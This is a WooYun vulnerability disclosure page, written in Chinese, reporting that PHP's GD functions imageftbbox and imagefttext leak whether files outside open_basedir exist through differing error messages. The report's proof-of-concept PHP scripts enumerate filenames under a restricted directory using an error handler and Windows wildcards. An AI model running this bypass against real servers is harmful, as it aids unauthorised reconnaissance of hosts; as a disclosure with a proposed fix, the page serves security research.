当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-083688

漏洞标题：php设计缺陷导致绕过open_basedir列举目录之3

相关厂商：PHP

漏洞作者： phith0n

提交时间：2014-11-18 12:11

修复时间：2014-12-30 14:44

公开时间：2014-12-30 14:44

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：12

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-18： 细节已通知厂商并且等待厂商处理中
2014-11-23： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-17： 细节向核心白帽子及相关领域专家公开
2015-01-27： 细节向普通白帽子公开
2015-02-06： 细节向实习白帽子公开
2014-12-30： 细节向公众公开

简要描述：

@/fd 曾在这篇帖子里 http://zone.wooyun.org/content/11268 给出了一些绕过open_basedir的方法。方法总体来说有一些鸡肋性，看客官如何理解了。
根据PHP的尿性，这个洞肯定忽略了，之后我也会整理一些类似的方法，公布出来。
#3为两个类似函数均有风险，统一提交。

详细说明：

@/fd的代码里对于列目录有两个方法，一是利用DirectoryIterator类，二是利用realpath函数。前者很好用，我就不多说了。单说下后者，realpath函数在处理已存在的文件（目录）与不存在的文件（目录）时情况不同，如果文件已存在则会抛出错误:open_basedir restriction in effect. File(xxxxx) is not within the allowed path(s)，如果文件不存在则会返回false。
所以我们可以通过捕捉错误handle，来判断某文件是否存在。
我的第三个方法也类似。
php的gd2库有一个函数叫imageftbbox：

001.jpg


GD库基本上是php必备库，所以也不存在鸡肋不鸡肋的说法。这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候，当文件存在，则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。
测试代码：

<?php
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
imageftbbox(100, 100, $_GET['file'], 'aaa');
?>


结果：

002.jpg


003.jpg


所以，我们可以根据php抛出错误的不同来判断某个文件是否存在，进而进行目录的枚举。
在php的GD中，还有个类似的函数（也是需要加载字体的函数）存在同样的问题，是imagefttext。我就一起提交了。

漏洞证明：

在windows下，我们可以通过windows特性，也就是“通配符”来快速枚举目录，不需要暴力跑目录了。
详细代码见#1，这里情况有些不同，所以我再说一遍。
例如d:/test/下有如下文件：

004.jpg


我写了个简单的，但只能枚举文件第一个字符的代码：

<?php
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
	$file = $dir . $chars[$i] . '<><';
	//$m = imagecreatefrompng("zip.png");
	//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
	imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
	global $file;
	if (stripos($errstr, 'Invalid font filename') === FALSE) {
		printf("%s<br/>", $file);
	}
}
?>


输出如下：

005.jpg


可见已列出第一个字符了。顺势我们就可以逐一列出后面的每个字符，造成目录的枚举，我就不具体给代码了，大家自己发挥自己的想象。

修复方案：

只要在open_basedir外，不管文件是否存在，都应该抛出相同错误。

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-30 14:44

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2014-11-18 12:30 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1：5 无限量收 [平台担保]))

    强势围观！

  2. 2014-11-18 13:16 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

    高端

  3. 2014-11-18 13:22 | do9gy ( 实习白帽子 | Rank:61 漏洞数:15 | Dog loves God。)

    PHP.NET表示不服

  4. 2014-11-18 15:56 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    mark

  5. 2014-11-22 03:41 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @do9gy php.net.java.c.c++.c#.css.html.css.javascript表示不服.....